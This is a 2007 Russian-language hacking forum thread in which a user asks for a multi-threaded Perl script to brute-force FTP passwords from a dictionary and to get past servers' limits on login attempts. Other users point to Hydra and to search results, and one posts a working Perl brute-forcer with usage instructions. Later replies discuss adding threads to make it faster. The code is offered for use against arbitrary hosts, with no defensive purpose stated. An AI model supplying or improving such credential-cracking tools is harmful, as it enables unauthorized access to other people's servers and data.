Perl скрипт для FTP брута

Discussion in 'PHP' started by 1ten0.0net1, 17 Oct 2007.

  1. 1ten0.0net1

    1ten0.0net1 Time out

    Joined:
    28 Nov 2005
    Messages:
    473
    Likes Received:
    330
    Reputations:
    389
    Требуется перловый простенький скрипт для брута по словарю, желательно много поточный, который не умирает после ограниченного кол-ва попыток авторизации, а продолжает свое коварное дело.
    Что посоветуете?
     
  2. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    Боян
    гидра.
     
    #2 guest3297, 17 Oct 2007
    Last edited by a moderator: 17 Oct 2007
  3. KSURi

    KSURi tnega AOLPS

    Joined:
    6 Jun 2006
    Messages:
    458
    Likes Received:
    219
    Reputations:
    357
    пицот мильенов таких скриптов в паблике
    я сам помнится выкладывал... давно правда
     
  4. 1ten0.0net1

    1ten0.0net1 Time out

    Joined:
    28 Nov 2005
    Messages:
    473
    Likes Received:
    330
    Reputations:
    389
    Никаких боянов! перловый скрипт!
    ПО поиску по форуму не нашел ничего толкового кроме скрипта от hold up team - но именно он и дохнет после n (чаще всего n < 10) попыток авторизации.
     
  5. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    http://www.google.ru/search?complete=1&hl=en&newwindow=1&client=firefox-a&rls=org.mozilla:en-US:eek:fficial&hs=brW&sa=X&oi=spell&resnum=0&ct=result&cd=1&q=perl+ftp+brute+force&spell=1

    http://www2.packetstormsecurity.org/cgi-bin/search/search.cgi?searchvalue=ftp+brute+force&type=archives
     
  6. 1ten0.0net1

    1ten0.0net1 Time out

    Joined:
    28 Nov 2005
    Messages:
    473
    Likes Received:
    330
    Reputations:
    389
    Я полностью согласен с поиском - но то-то и оно, что мне не нужен комплект утилит для брута, уж тем более виндовые - нужен маленький шустрый скрипт, который через поиска найти проблемно - поэтому я и спрашиваю - у кого есть такой на собственнном вооружении.
     
  7. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    Code:
    #!/usr/bin/perl
    use NET::FTP;
    print "FTP Bruteng by Spyder\nWorking...\n";
    open (SRC, "G:/xek.txt") or die "cant open\n";# путь к файлу с паролями, в винде вообще проблема с открытием файлов
    @SRC = <SRC>;
    $n = @SRC;
    CHECK: for ($id = 0;$id <= $n;$id++) {
    $login = "$ARGV[1]";
    $pass = "$SRC[$id]";
    chomp($pass);
    $ip = "$ARGV[0]";
    $ftp = Net::FTP->new($ip);
    $ok = $ftp->login($login,$pass);
    last CHECK if $ok;
    }
    print "Pass for $ARGV[0] is $SRC[$id]\n";
    
    Вроде работает
    Запускаем:
    perl brute.pl <адрес> <логин>
     
  8. C!klodoL

    C!klodoL Elder - Старейшина

    Joined:
    5 Jun 2007
    Messages:
    302
    Likes Received:
    208
    Reputations:
    4
    Spyder а почему ты не реализовал многопоточность? ее же легко сделать, а так скорость будет ниже в 2-3 раза чем с многопоточностью
     
  9. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    я ламер и нуб
     
    1 person likes this.
Loading...